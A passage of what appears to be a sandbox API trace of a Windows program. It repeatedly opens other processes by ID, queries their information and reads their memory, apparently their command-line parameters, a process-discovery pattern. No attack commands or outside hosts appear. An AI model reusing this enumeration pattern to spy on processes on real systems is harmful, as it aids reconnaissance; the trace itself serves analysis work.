CloseHandle (hObject=0xa9c) returned 1 [0359.466] _ui64tow_s (in: _Value=0x10ec, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4332") returned 0x0 [0359.466] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4332") returned 4 [0359.466] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.466] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.467] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10ec) returned 0xa9c [0359.467] GetLastError () returned 0x0 [0359.467] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.467] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x332018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.468] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.468] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.468] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.468] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.468] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.468] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x332020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.468] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.469] malloc (_Size=0x66) returned 0xeb6380 [0359.469] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5322b6, lpBuffer=0xeb6380, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0359.469] free (_Block=0xeb6380) [0359.469] CloseHandle (hObject=0xa9c) returned 1 [0359.469] _ui64tow_s (in: _Value=0x1164, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4452") returned 0x0 [0359.470] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4452") returned 4 [0359.470] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.470] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.471] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1164) returned 0xa9c [0359.471] GetLastError () returned 0x0 [0359.471] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.471] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.471] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.471] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.471] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.471] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.472] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.472] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.472] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.472] malloc (_Size=0x84) returned 0xe88090 [0359.472] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5322d4, lpBuffer=0xe88090, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88090*, lpNumberOfBytesRead=0x0) returned 1 [0359.473] free (_Block=0xe88090) [0359.473] CloseHandle (hObject=0xa9c) returned 1 [0359.502] _ui64tow_s (in: _Value=0x116c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4460") returned 0x0 [0359.502] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4460") returned 4 [0359.503] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.503] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.503] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x116c) returned 0xa9c [0359.504] GetLastError () returned 0x0 [0359.504] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.504] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.504] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.504] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.504] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.504] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.505] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.505] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.505] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.505] malloc (_Size=0x70) returned 0xea96a0 [0359.505] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22c0, lpBuffer=0xea96a0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea96a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.506] free (_Block=0xea96a0) [0359.507] CloseHandle (hObject=0xa9c) returned 1 [0359.507] _ui64tow_s (in: _Value=0x11e8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4584") returned 0x0 [0359.508] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4584") returned 4 [0359.508] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.508] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.509] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11e8) returned 0xa9c [0359.509] GetLastError () returned 0x0 [0359.509] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.509] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.509] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.509] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.509] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.510] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.510] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.510] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.510] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.510] malloc (_Size=0x6a) returned 0xea9620 [0359.510] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ba, lpBuffer=0xea9620, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9620*, lpNumberOfBytesRead=0x0) returned 1 [0359.511] free (_Block=0xea9620) [0359.512] CloseHandle (hObject=0xa9c) returned 1 [0359.512] _ui64tow_s (in: _Value=0x11f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4600") returned 0x0 [0359.512] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4600") returned 4 [0359.512] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.512] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.513] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11f8) returned 0xa9c [0359.513] GetLastError () returned 0x0 [0359.513] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.513] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.513] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.513] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6126a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.514] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x612258, lpBuffer=0x5ec5a0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.514] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.514] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.514] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.514] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x611c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.514] malloc (_Size=0x86) returned 0xe87b80 [0359.514] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6122d6, lpBuffer=0xe87b80, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87b80*, lpNumberOfBytesRead=0x0) returned 1 [0359.515] free (_Block=0xe87b80) [0359.515] CloseHandle (hObject=0xa9c) returned 1 [0359.516] _ui64tow_s (in: _Value=0x1200, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4608") returned 0x0 [0359.516] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4608") returned 4 [0359.516] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.516] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.517] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1200) returned 0xa9c [0359.517] GetLastError () returned 0x0 [0359.517] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.517] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ec018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.517] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.517] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.517] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.518] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.518] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.518] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ec020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.518] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.518] malloc (_Size=0x72) returned 0xea8ca0 [0359.518] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22c2, lpBuffer=0xea8ca0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ca0*, lpNumberOfBytesRead=0x0) returned 1 [0359.519] free (_Block=0xea8ca0) [0359.519] CloseHandle (hObject=0xa9c) returned 1 [0359.519] _ui64tow_s (in: _Value=0x1248, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4680") returned 0x0 [0359.519] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4680") returned 4 [0359.520] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.520] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.521] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1248) returned 0xa9c [0359.521] GetLastError () returned 0x0 [0359.521] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.521] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x238018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.521] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.521] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6726b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.521] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x672258, lpBuffer=0x5ec5a0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.522] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.522] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.522] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x238020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.522] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x671c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.522] malloc (_Size=0x90) returned 0xec7200 [0359.522] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6722e0, lpBuffer=0xec7200, nSize=0x8e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7200*, lpNumberOfBytesRead=0x0) returned 1 [0359.523] free (_Block=0xec7200) [0359.523] CloseHandle (hObject=0xa9c) returned 1 [0359.523] _ui64tow_s (in: _Value=0x1280, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4736") returned 0x0 [0359.524] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4736") returned 4 [0359.524] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0359.524] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0359.525] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1280) returned 0xa9c [0359.525] GetLastError () returned 0x0 [0359.525] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0359.525] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x307018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0359.525] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0359.525] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0359.525] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0359.526] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0359.526] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0359.526] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x307020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0359.526] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0359.526] malloc (_Size=0x64) returned 0xeb63f0 [0359.526] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1f22b4, lpBuffer=0xeb63f0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb63f0*, lpNumberOfBytesRead=0x0) returned 1 [0359.527] free (_Block=0xeb63f0) [0359.527] CloseHandle (hObject=0xa9c) returned 1 [0359.527] _ui64tow_s (in: 